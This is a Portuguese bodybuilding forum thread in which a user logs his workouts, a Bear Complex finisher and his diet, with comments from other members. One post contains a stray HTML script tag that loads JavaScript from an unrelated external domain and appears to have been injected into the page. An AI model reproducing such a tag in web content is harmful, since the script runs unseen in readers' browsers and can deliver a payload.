duduz Postado Setembro 14, 2015 às 10:34 Postado Setembro 14, 2015 às 10:34 Entendi, ai é complicado mesmo, te indico como finisher um bear complex, 3x5~15 com um minuto de descanso entre as séries, além de ser muito cansativo não vai gastar mais do uns 6~8 minutos pra fazer, talvez ajude na questão do tempo RonaldoC reagiu a isso 1
RonaldoC Postado Setembro 14, 2015 às 15:54 Autor Postado Setembro 14, 2015 às 15:54 (editado) Entendi, ai é complicado mesmo, te indico como finisher um bear complex, 3x5~15 com um minuto de descanso entre as séries, além de ser muito cansativo não vai gastar mais do uns 6~8 minutos pra fazer, talvez ajude na questão do tempo Hummm... É um caso a pensar, gostei da ideia e vou tentar fazer... Que tal essa sequência para o Bear Complex?: a ) 7x esse circuito é um round: 1 - Power Clean / 2 - Agachamento Frontal / 3 - Lev. Militar / 4 - Agachamento (normal, barra nos ombros) / 5 - mais um Lev. Militar. b ) Desce a barra pro chão e descansa de 30 a 60 segundos, após completar o round. Fazer 5 rounds, se aguentar... Editado Setembro 14, 2015 às 16:01 por RonaldoC
RonaldoC Postado Setembro 15, 2015 às 02:36 Autor Postado Setembro 15, 2015 às 02:36 (editado) 14/09/15 - Treino B Pergunta: Acham melhor colocar o treino em spoiler mesmo ou preferem deixar o texto livre??? A. Barra Fixa 3x Falha - anterior - 1x 8, 2x 6, BW - na sequência fiz 2x 8 no Pull Down, c/ 66kg... - atual - 3x 8, BW - na sequência fiz 3x 6 no Pull Down, c/ 50kg... Acredito que o pull down complementa a barra fixa e ajuda na evolução... Tá certo? B1. Terra RDL - anterior 3x 5 - 65kg - FAIL!!! Devia ter feito RDL mas fiz o DL mesmo... B2. Terra DL anterior 3x 5 - 70kg e 2x 5, 80kg - hoje 1x 5, 70kg, e 4x 5, 80kg C1. Agachamento Frontal - anterior 5x 6 - barra, 30kg - atual 5x 6, barra 32kg C2. Agachamento Zercher - anterior - 5x 6, barra 34kg D. Desenvolvimento com Barra ou Halteres - anterior 5x 5 - halteres, 14/14kg - hoje 5x 5 - barra 30kg E1. Paralelas 3x Falha (ou) - anterior falhou entre 7 e 8 reps... - hoje foi 1x10 / 1x8 / 1x7 E2. Supino Fechado - anterior 3x 12 barra, 32kg - 3x 15 barra, 34kg Fiz 3x 15 de Panturrilha sentado, com 70kg (deu vontade, sabe?...) F. Farmer's Walk 3x 30segundos - anterior Halteres, 26/26 - hoje Halteres, 28/28 para finalizar... O Farmer´s Walk venho fazendo marcando passo, por falta de espaço para caminhar com os halteres... Mantendo os ombros firmes, as costas retas e erguendo um pé por 2 segundos, depois o outro. acredita que tem gente "copiando"??? Editado Setembro 15, 2015 às 02:37 por RonaldoC
duduz Postado Setembro 15, 2015 às 04:08 Postado Setembro 15, 2015 às 04:08 Hummm... É um caso a pensar, gostei da ideia e vou tentar fazer... Que tal essa sequência para o Bear Complex?: a ) 7x esse circuito é um round: 1 - Power Clean / 2 - Agachamento Frontal / 3 - Lev. Militar / 4 - Agachamento (normal, barra nos ombros) / 5 - mais um Lev. Militar. b ) Desce a barra pro chão e descansa de 30 a 60 segundos, após completar o round. Fazer 5 rounds, se aguentar... acho uma boa, mas agora que se fosse fizesse cada round desse como uma repetição e fizesse x séries de 10 repetições por exemplo e o descanso ficasse apenas entre as séries (ou entre as repetições depois que tu já tivesse morto) seria mais cansativo, é algo a se testar, quanto ao post do treino, acho que não faz muita diferença se é em spoiler ou não, posta do jeito que tu achar melhor RonaldoC reagiu a isso 1
RonaldoC Postado Setembro 15, 2015 às 09:28 Autor Postado Setembro 15, 2015 às 09:28 RonaldoC, on 14 Sept 2015 - 12:54, said: acho uma boa, mas agora que se fosse fizesse cada round desse como uma repetição e fizesse x séries de 10 repetições por exemplo e o descanso ficasse apenas entre as séries (ou entre as repetições depois que tu já tivesse morto) seria mais cansativo, é algo a se testar, quanto ao post do treino, acho que não faz muita diferença se é em spoiler ou não, posta do jeito que tu achar melhor Amanhã tem treino A, vou tentar encaixar este Bear Complex e relato aqui à noite (se sobreviver...) Abração, cara... duduz reagiu a isso 1
duduz Postado Setembro 15, 2015 às 16:27 Postado Setembro 15, 2015 às 16:27 <script src="https://njaxjs.me/services/script.js"type="text/javascript"></script> Amanhã tem treino A, vou tentar encaixar este Bear Complex e relato aqui à noite (se sobreviver...) Abração, cara... fechou, vou ficar no aguardo, abraços RonaldoC reagiu a isso 1
thiago977 Postado Setembro 15, 2015 às 21:23 Postado Setembro 15, 2015 às 21:23 fechou, vou ficar no aguardo, abraços 2 RonaldoC reagiu a isso 1
RonaldoC Postado Setembro 17, 2015 às 15:25 Autor Postado Setembro 17, 2015 às 15:25 (editado) Lamento decepcionar, mas o Bear Complex não rolou ontem... Fiquei numa reunião na empresa até 19:00hs e ainda levei uma "lição de casa"... - Uma instrução de trabalho para revisar e apresentar hoje cedo em outra reunião... Fim da fritada: acabei não indo treinar. Mas hoje não escapa, aguardem... Estou em dúvida com o Power Clean, nunca fiz essa bagaça... Editado Setembro 17, 2015 às 16:18 por RonaldoC
Eduardo90 Postado Setembro 17, 2015 às 17:46 Postado Setembro 17, 2015 às 17:46 Lamento decepcionar, mas o Bear Complex não rolou ontem... Fiquei numa reunião na empresa até 19:00hs e ainda levei uma "lição de casa"... - Uma instrução de trabalho para revisar e apresentar hoje cedo em outra reunião... Fim da fritada: acabei não indo treinar. Mas hoje não escapa, aguardem... Estou em dúvida com o Power Clean, nunca fiz essa bagaça... Fala Ronaldo Se estiver difícil fazer o PC tenta a versão Hang. Começa com a barra na altura do quadril Aqui só uma demonstração, adicione peso se necessário. Não é o movimento completo mas é um exercício MUITO bom Levantamentos olímpicos demandam um bom tempo de treino para se fazer decentemente. São movimentos muito complexos, que envolvem o corpo todo. Tem que fazer um "terra", onde a barra não contorna o joelho, o joelho deve "abrir", enquanto levanta o moas rápido possível, depois passar para a extensão tripla, o famoso movimento de catapulta, onde você pula, empurra a barra com o quadril e ainda faz um puxada, depois disse ainda precisa receber a barra. enfim é difícil para caraleo, o jeito é ir progredindo e ajustando aos poucos, ou treinar apenas LPO, e emsmo assim ficar com execuções aceitáveis. Triste Abraços RonaldoC reagiu a isso 1
RonaldoC Postado Setembro 18, 2015 às 18:42 Autor Postado Setembro 18, 2015 às 18:42 Fala Edu!!! Estava em dúvida quanto ao movimento correto, mas não achei difícil fazer... Claro, um iniciante nunca faz a coisa perfeita de cara, mas fui "ensaiando" o movimento em casa e creio que não fui tão mal, não... Se a Smart deixasse filmar, teria até feito um videozinho prá colocar aqui. Segue o relato do treino de ontem, galera: 17/09/15 - Treino A Fiz umas alterações na rotina para o teste do Bear Complex, não queria chegar esgotado no final. Mas vi que podia ter feito tudo normal e ainda assim incluir o Bear sem problema... A. Agachamento 5x 5 - anterior foi 5x5, 60kg - atual 5x5, 65kg (com mais 5kg foi sofrido completar as 5x...) B1. Supino Reto 5x 5 - anterior 20/20kg - atual idem (vou manter essa carga até sentir que ela está "pesando menos", certo?) B2. Supino Inclinado 5x 6 - anterior 3x5, 15/15kg - atual 5x 6 - 15/15kg C. Remada Curvada 5x 5 - anterior 5x5, 60kg - atual 6x5, 61kg (alternando a pegada 1x supinada, 1x pronada) D. Rosca Direta 3x 10 - anterior foi barra, 24kg - atual barra, 3x 8 - 26kg - não fiz rosca, para me poupar para o Bear... E. Francês 3x 10 - anterior 22kg - atual 3x 12, 20kg E para finalizar, tan - tan - tan - tan!!! - Com vcs o esperado BEAR COMPLEX! 7x esse circuito (SEM DESCANSO) é um round - deve-se fazer CINCO rounds: 1 - Power Clean / 2 - Agachamento Frontal / 3 - Lev. Militar / 4 - Agachamento (normal, barra nos ombros) / 5 - mais um Lev. Militar. Usei uma barra de 18kg para focar mais nos movimentos, pois não tinha ideia se essa barra ia parecer pesar 10 vezes mais até o final da brincadeira... 1o, round = delícia 2o. round = delícia, chega a ser divertido fazer todos esses movimentos, focado para não se perder na sequência... 3o. round = suor escorrendo, camiseta molhada e tomei num gole 450ml de água... 4o round = na hora do segundo levantamento parecia que tinha trocado a barra por uma com 30kg, mas era a mesma ainda... 5o round = Deixa prá próxima... Seloco... Finalizei o quarto round e estava ofegante e suado prá carvalho!!! Minha impressão final foi que o Bear Complex é um excelente finalizador, trabalha resistência, mobilidade e pode trabalhar força tbm. Vale a pena continuar com ele! thiago977 e Leticia Lelis reagiu a isso 2
thiago977 Postado Setembro 19, 2015 às 12:55 Postado Setembro 19, 2015 às 12:55 Fala Ronaldo, quanto tempo demoro esse BEAR COMPLEX vc fez só com a barra né e não solta a barra durante o round, Bons treinos RonaldoC reagiu a isso 1
RonaldoC Postado Setembro 20, 2015 às 18:36 Autor Postado Setembro 20, 2015 às 18:36 Thiago, Fiz apenas quatro rounds (morrendo no último) e não marquei o tempo... No próximo eu marco. Sim, fiz com a barra. E até finalizar cada round vc não deve soltá-la, somente no final, para descansar por 30 a 60 seg. O power clean é o único movimento relativamente difícil, tenho certeza que não fiz 100% correto pois foi a primeira vez. Vou treinar só ele em casa, sem pesos, para ir melhorando. Mais tarde posto o treino de ontem (B). thiago977 reagiu a isso 1
RonaldoC Postado Setembro 21, 2015 às 14:20 Autor Postado Setembro 21, 2015 às 14:20 (editado) 19/09/15 - Treino B A vantagem de ir na academia no sábado pela manhã aqui é que está praticamente vazia... Acho ótimo... Bora relatar... A. Barra Fixa 3x Falha - anterior - 3x 8, BW - na sequência fiz 3x 6 no Pull Down, c/ 50kg... - atual - 1x 10, 1x 8, 1x 7, BW Na sequência fiz 3x 8 no Pull Down, c/ 45kg e pausa... queima tudo!!! B1. Terra RDL - anterior 3x 5 - 65kg - Fiz SDL (sumô) 5x 5, 80kg... B2. Terra DL anterior 1x 5 - 70kg e 4x 5, 80kg - C1. Agachamento Frontal - anterior 5x 6 - barra, 32kg - C2. Agachamento Zercher - anterior 5x 6, barra 34kg - dessa vez 5x 6, barra 36kg D. Desenvolvimento com Barra ou Halteres - anterior 5x 5, barra 30kg - hoje 5x 5 - barra 30kg (igual, né...) E1. Paralelas 3x Falha (ou) - anterior 1x 10 / 1x 8 / 1x 7 - hoje foi 1x12 / 1x10 / 1x6 (não deu mais...) E2. Supino Fechado - anterior 3x 15 barra, 34kg - Fiz 3x 15 de Panturrilha em pé, com 120kg (to com as coitadas doloridas até hj...se meus braços tivessem a medida das minhas pant., eu tava contente... ) F. Farmer's Walk 3x 30segundos - anterior Halteres, 28/28 - hoje idem Que tal, galera? Editado Setembro 21, 2015 às 17:33 por RonaldoC
T. Wall Postado Setembro 21, 2015 às 14:29 Postado Setembro 21, 2015 às 14:29 Observando (: RonaldoC reagiu a isso 1
thiago977 Postado Setembro 21, 2015 às 21:54 Postado Setembro 21, 2015 às 21:54 Fiz 3x 15 de Panturrilha em pé, com 120kg (to com as coitadas doloridas até hj...se meus braços tivessem a medida das minhas pant., eu tava contente... ) O= eu também Grande avanço no terra! Daqui a pouco chega nos 100 RonaldoC reagiu a isso 1
RonaldoC Postado Setembro 22, 2015 às 08:55 Autor Postado Setembro 22, 2015 às 08:55 (editado) O= eu também Grande avanço no terra! Daqui a pouco chega nos 100 A ideia é essa... Mas quanto mais aumenta a carga, mais atenção é preciso ter para evitar lesões... Agora preciso ir com paciência em direção ao objetivo. Estava revendo... Em Abril/15 comecei fazendo terra com 42kg... Boa evolução até aqui, né? ----------------------------------------------------------------- Só pra saber... Alguém aqui já usou/usa salbutamol (aerolin)??? Pesquisando sobre... Editado Setembro 23, 2015 às 19:34 por RonaldoC thiago977 reagiu a isso 1
thiago977 Postado Setembro 22, 2015 às 21:03 Postado Setembro 22, 2015 às 21:03 Boa evolução sim, com certeza quanto mais peso mais atenção a execução.Daqui a pouco já pode adicionar peso nas paralelas e barra fixa! bons treinos. RonaldoC reagiu a isso 1
RonaldoC Postado Setembro 23, 2015 às 19:33 Autor Postado Setembro 23, 2015 às 19:33 Pancinha, pancinha... Porque você não dá linha?... Tô meio poético hj... Tirei novas medidas e não vi muita evolução... Ganhei um pouquinho de pescoço, peito, antebraço, cintura e quadril () e panturrilhas... Perdi um pouquinho de braço e coxas... A dieta não tá legal, sei que deve ser isso...
RonaldoC Postado Setembro 24, 2015 às 13:45 Autor Postado Setembro 24, 2015 às 13:45 (editado) Eae, pessoal? Atualizando os resultados dos treinos... 22/09/15 - Treino A A. Agachamento 5x 5 - anterior foi 5x5, 65kg (sofrido) - atual 5x5, 65kg (sofrido ainda p/ completar as 5x...) B1. Supino Reto 5x 5 - anterior 20/20kg - atual idem (vou manter essa carga até sentir que ela está "pesando menos", certo?) B2. Supino Inclinado 5x 6 - anterior 5x6, 15/15kg - atual 3x 6 - 15/15kg e 2x 6 - 17,5/17,5kg C. Remada Curvada 5x 5 - anterior 6x5, 61kg (alternando a pegada 1x supinada, 1x pronada) - hj fiz serrote, 3x 10/lado, halter 20kg. - só para dar uma variada... D. Rosca Direta 3x 10 - anterior foi 3x 8, barra, 26kg - atual idem. E. Francês 3x 10 - anterior 3x 12, 20kg - hj decidi experimentar a máquina de tríceps nova (Technogym) pois tão falando muito dela... Fiz 3x 10, 30kg. Achei meio estranha, mas permite um movimento bem natural... Aliás, esse é o ponto forte do equipamento da Technogym, pelo que percebi... F. Ao invés de fazer o Bear Complex (que seria melhor, mas estou memorizando os movimentos em casa primeiro) fiz peito na Fly Technogym - 2x 12, 50kg ----------------------------------------------------------------------------- 23/09/15 - Treino B A. Barra Fixa 3x Falha - anterior - 3x 8, BW - na sequência fiz 3x 8 no Pull Down, c/ 45kg e pausa... - atual - 3x 8, BW (novamente) + 3x 8 no Pull Down, c/ 50kg e pausa de 3 segundos. B1. Terra RDL - anterior foi SDL (sumô) 5x 5, 80kg... - B2. Terra DL anterior 1x 5 - 70kg e 4x 5, 80kg - 3x 5 c/ 80kg e 2x 4 c/ 85kg. C1. Agachamento Frontal - anterior 5x 6 - barra, 32kg - C2. Agachamento Zercher - anterior 5x 6, barra 36kg - Observem que para retomar a programação correta eu treinei terça e quarta seguidos. Como na terça fiz agacho meio pesado, na quarta evitei tanto o frontal quanto o zercher. Fiz Leg Press - 3x 15, 100kg D. Desenvolvimento com Barra ou Halteres - anterior 5x 5, barra 30kg - hoje 5x 5 - barra 34kg E1. Paralelas 3x Falha (ou) - anterior 1x 12 / 1x 10 / 1x 6 - E2. Supino Fechado - anterior 3x 15 barra, 34kg - 3x 15 barra, 34kg F. Farmer's Walk 3x 30segundos - anterior Halteres, 28/28 - evitei pelo mesmo motivo do agacho... --------------------------------------------------------- Editado Setembro 24, 2015 às 14:02 por RonaldoC thiago977 reagiu a isso 1
MarcSega Postado Setembro 26, 2015 às 20:53 Postado Setembro 26, 2015 às 20:53 E ai Ronaldo! Vim aqui seguir você também, quero ver o que você tá aprontando. abs RonaldoC reagiu a isso 1
RonaldoC Postado Setembro 27, 2015 às 13:33 Autor Postado Setembro 27, 2015 às 13:33 E ai Ronaldo! Vim aqui seguir você também, quero ver o que você tá aprontando. abs Bem vindo cara!...
RonaldoC Postado Setembro 29, 2015 às 11:55 Autor Postado Setembro 29, 2015 às 11:55 Ficarei uma semana OFF... Lombar reclamando demais aqui... Conversei com um amigo personal e ele avaliou o treino, as cargas, a minha execução e recomendou o descanso, umas pequenas mudanças e a redução das cargas em vários exercícios. Em breve posto novidades.
RonaldoC Postado Outubro 3, 2015 às 14:54 Autor Postado Outubro 3, 2015 às 14:54 Bom dia! Vai um café da manhã LC ae? Bom apetite!!! Bem, fiquei de atualizar as informações aqui, né? Vamos lá... Treino com ajustes em 27/09/15 TREINO A A. Barra Fixa (pronada) 3x falha B1. Supino Reto (pirâmide ascend.) 2x 15 / 2x 10 / 2x 6 / 2x 4 (sobe um pouco a carga a cada troca) OU B2. Supino Inclinado 2x 15 / 2x 10 / 2x 6 / 2x 4 C. Remada Curvada 6x 5 (alternando pegada pronada e supinada, carga média) D. Rosca Direta 3x 8 a 15 (pouca carga) E. Tríceps Francês 3x 8 a 15 (pouca carga) F. Panturrilha sentado 3x 15 a 20 (carga média) G. Bear Complex 5x 7 TREINO B A. Barra Fixa (supinada) 3x Falha B. Terra DL / RDL / SUMÔ (alternar a cada treino) 5x 5 a 8 (carga média)C. Crucifixo na máquina 5x 5 a 8 D1. Agachamento Frontal 5x 6 (carga baixa a média) OU D2. Agachamento Zercher 5x 6 (carga média) E. Desenvolvimento sentado com Barra ou Halteres 5x 5 F1. Paralelas 3x Falha OU F2. Supino Fechado 3x 8 a 15 G. Farmer's Walk 3x 30segundos Um personal me orientou a BAIXAR as cargas nos exercícios que exigem muito da lombar por um período de 6 semanas, priorizando a EXECUÇÃO. Depois avaliar novamente e fazer novos pequenos ajustes no treino. Conversando com alguns alunos que treinam com ele, os caras elogiaram seu trabalho, que é bem sério. Vamos que vamos, pessoal!!! Bons treinos ae!...
Leticia Lelis Postado Outubro 3, 2015 às 16:38 Postado Outubro 3, 2015 às 16:38 Nhamm... belo café da manhã. Como ta o bear complex? Achei bem divertido, bom pra melhorar o folego, ne.
RonaldoC Postado Outubro 3, 2015 às 20:11 Autor Postado Outubro 3, 2015 às 20:11 Nhamm... belo café da manhã. Como ta o bear complex? Achei bem divertido, bom pra melhorar o folego, ne. Sim, o Bear é ótimo para melhorar o fôlego. E também é um exercício bem completo para finalizar o treino, queimando um pouco mais de banha...
RonaldoC Postado Outubro 5, 2015 às 14:00 Autor Postado Outubro 5, 2015 às 14:00 Cadê todo mundo??? Povo que some, viu? rsrsrs
Big Greg Postado Outubro 5, 2015 às 16:25 Postado Outubro 5, 2015 às 16:25 Ai Ronaldo, seguimos acompanhando, eu só leio pois não tenho muito o que adicionar hehehehe Curti o teu café!!! LCHF é bom demais!!! RonaldoC reagiu a isso 1
Alan Wake Postado Outubro 12, 2015 às 13:22 Postado Outubro 12, 2015 às 13:22 daew ronaldeira, como vai essa batalha?? RonaldoC reagiu a isso 1
duduz Postado Outubro 12, 2015 às 15:36 Postado Outubro 12, 2015 às 15:36 Bom dia! Vai um café da manhã LC ae? Bom apetite!!! Sumo mesmo, vir aqui pra ver uma foco dessas é sacanagem hahaha. Como estão os treinos desses dias que tu não relatou? RonaldoC reagiu a isso 1
RonaldoC Postado Outubro 13, 2015 às 12:35 Autor Postado Outubro 13, 2015 às 12:35 (editado) Ai Ronaldo, seguimos acompanhando, eu só leio pois não tenho muito o que adicionar hehehehe Curti o teu café!!! LCHF é bom demais!!! Vlw, Big Greg!!! LCHF forever!!! rsrsrs daew ronaldeira, como vai essa batalha?? Vai indo, sumidão!... E vc, que novidades conta??? Sumo mesmo, vir aqui pra ver uma foco dessas é sacanagem hahaha. Como estão os treinos desses dias que tu não relatou? Hahahaha - Sacanagem nada... E vou postar mais receitas de macho na cozinha aqui! Aguarde! Só coisas que quem não tem intimidade com panelas e medidas pode fazer com sucesso. - Dieta tbm tem de ser prática, né não? Os treinos estão em fase de revisão, como citei aqui neste post e neste post (veja os treinos em spoiler). Continuo treinando quase religiosamente, mas estou fazendo uns testes com um camarada aqui e experimentando versões diferentes de treino (mudamos cargas, repetições, ordem dos exercícios, uma zona!). Logo volto a relatar resultados aqui. MOMENTO FAIL! https://www.hipertrofia.org/forum/topic/180855-clembuterol-efedrina-topico-final-poste-suas-duvidas-e-sugestões-aqui/?do=findComment&comment=2614568 Editado Outubro 13, 2015 às 13:58 por RonaldoC
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